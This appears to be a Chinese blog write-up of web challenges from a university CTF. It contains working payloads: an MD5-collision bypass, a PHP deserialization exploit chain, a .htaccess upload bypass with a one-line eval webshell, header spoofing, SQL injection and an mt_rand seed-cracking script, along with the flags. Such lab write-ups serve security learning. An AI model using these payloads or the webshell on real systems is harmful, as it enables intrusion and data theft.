北京邮电大学天璇战队CTF平台地址:http://ctf.merak.codes/


前言

总的来说毕竟是新生赛,大部分难度不是太大(就web而言),但是还是有一些坑没有注意,反而浪费了大量的时间和把自己心态搞炸,还是太菜了题见的少了。

呐,太棒了,学到很多~

WEB部分

> ez_bypass

题目源码如下,进行代码审计:

<?php
//I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
//Please input first
?>

解题思路:

  1.  get 传入 /?id[]=1&gg[]=2/?id=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&gg=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
  2.  post 传入 passwd=1234567%001234567e
  3.  得到 $flag="MRCTF{ba2e5e75-73b5-4df3-9a2b-bef1c18aa894}

> PYwebsite

好奇点了一下 py♂ flag 有个二维码扫了后是个假的,还反被嘲讽一波,还是老老实实找线索做题吧!

图片.png

F12 发现这段JS代码:

<script>
  
    function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }
    }
  
  </script>

一开始被骗了,还在这浪费时间,直接访问 ./flag.php

图片.png

根据提示判断应该是要用 bp 修改 HTTP 头 XFF 为 127.0.0.1

得到 flag:MRCTF{976458ec-640f-41f7-9c2a-00626966228a}

> Ezpop

源码如下,这题当时没有做出来,现在复现注释参考了一下官方WP

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);//8.触发这个include,利用php base64 wrapper 读flag
    }
    public function __invoke(){
        $this->append($this->var);//7.然后会调用到这里
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;//4.这里会调用str->source的__get 那么我们将其设置为Test对象
    }

    public function __wakeup(){//2.如果pop是个Show,那么调用这里
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//3.匹配的时候会调用__toString
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;//5.触发到这里
        return $function();//6.()会调用__invoke,我们这里选择Modifier对象
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);//1.反序列调用这里
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

exp:

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}

$r=new Modifier();
$s=new Show();
$t=new Test();
$t->p=$r;
$s->str=$t;
$s->source=$s;
var_dump(urlencode(serialize($s)));
?>

提交后可得到一串base64密文,解码后 flag 为:

<?php
class Flag{
    private $flag= "MRCTF{6b53701b-ae56-4dc2-b901-7272134987bf}";
}
echo "Help Me Find FLAG!";
?>

具体总结放在另一篇文章里啦

> 你传你🐎呢

上传绕过,尝试截断绕过无果

利用BurpSuite修改MIME欺骗后端文件类型 修改 Content-Type: image/png 然后就可以传任意文件后缀 利用.htaccess来制作图片🐎,增加使用php解析的文件后缀(.jpg)

AddType application/x-httpd-php .jpg

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

然后再写个一句话

<?php eval($_POST["lola39"]);?>

连上后在根目录找到 flag 为 MRCTF{f34742e5-0c20-48e4-8bb9-940b50b3f334}

> 套娃

源码如下:

<?php
//1st
$query = $_SERVER['QUERY_STRING'];

 if (substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
?>
  • 在URL中GET请求当输入.或者(空格)或者_都会忽略,因此b_u_p_t,其实就是b u p t
  • 正则的意思必须要23333开头和结尾,但是值不能为23333,这个时候url的%0A为换行污染,可以绕过正则,且值不为23333

进入下一层 secrettw.php

F12 查看有一堆 JSFUCK 放到控制台运行,弹出提示要 post Merak,post 参数 Merak=0 得到源码:

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
  • 修改 XFF 头发现被 ban 了,尝试修改 Client-ip,成功
  • 参数 2333 使用伪协议 data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk= 即可绕过
  • 参数 file 使其输出 flag.php 要对change() 解密

exp:

<?php
  function enc($payload){ 
      for($i=0; $i<strlen($payload); $i++){
        //原解密函数将chr(ord($v[$i])+$i*2)拼接在了最终返回值的后面
        $re .= chr(ord($payload[$i])-$i*2);  
      }
      return base64_encode($re);  
  }
  echo enc('flag.php');
  //flag.php加密后得到:ZmpdYSZmXGI=
?>

> Ezaudit

原页面 index.html 没有可用的信息,扫一波后台发现 login.php(为空无用) 和 login.html(粗糙的登录界面)

还有 www.zip 源码泄露:

<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

}
// genarate public_key
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

可以得到的信息如下:

  • username:crispr
  • password:万能密码
  • private_key:私钥

private_key 这里涉及到 PHP mt_rand() 随机数安全小知识点,在笔记里详谈

笔记链接:https://www.yuque.com/lola39/hyqxgz/pxi6qd

先用脚本跑出方便 php_mt_seed 的格式,PHP 脚本代码:

<?php
$str = "KVQP0LdJKRaV3n9D";
$randStr = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
 
for($i=0;$i<strlen($str);$i++){
   $pos = strpos($randStr,$str[$i]);
   echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
   //整理成方便 php_mt_seed 测试的格式
  //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
?>|

python 脚本代码:

str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

结果:36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

根据公钥爆破出 seed = 1775196155

<?php
mt_srand(1775196155);
function public_key($length = 16) {
  $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  $public_key = '';
  for ( $i = 0; $i < $length; $i++ )
  $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
  return $public_key;
}
/**
    先生成一次公钥再生成一次密钥 KVQP0LdJKRaV3n9D(公钥) XuNhoueCDCGc(私钥)
 **/
function private_key($length = 12) {
  $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  $private_key = '';
  for ( $i = 0; $i < $length; $i++ )
  $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
  return $private_key;
}
echo public_key();
echo "\n";
echo private_key();
?>

登录即可得flag

> Ezpop_Revenge

暂时放一放,复现没看懂,技术还不到家,太菜了。


本网站博主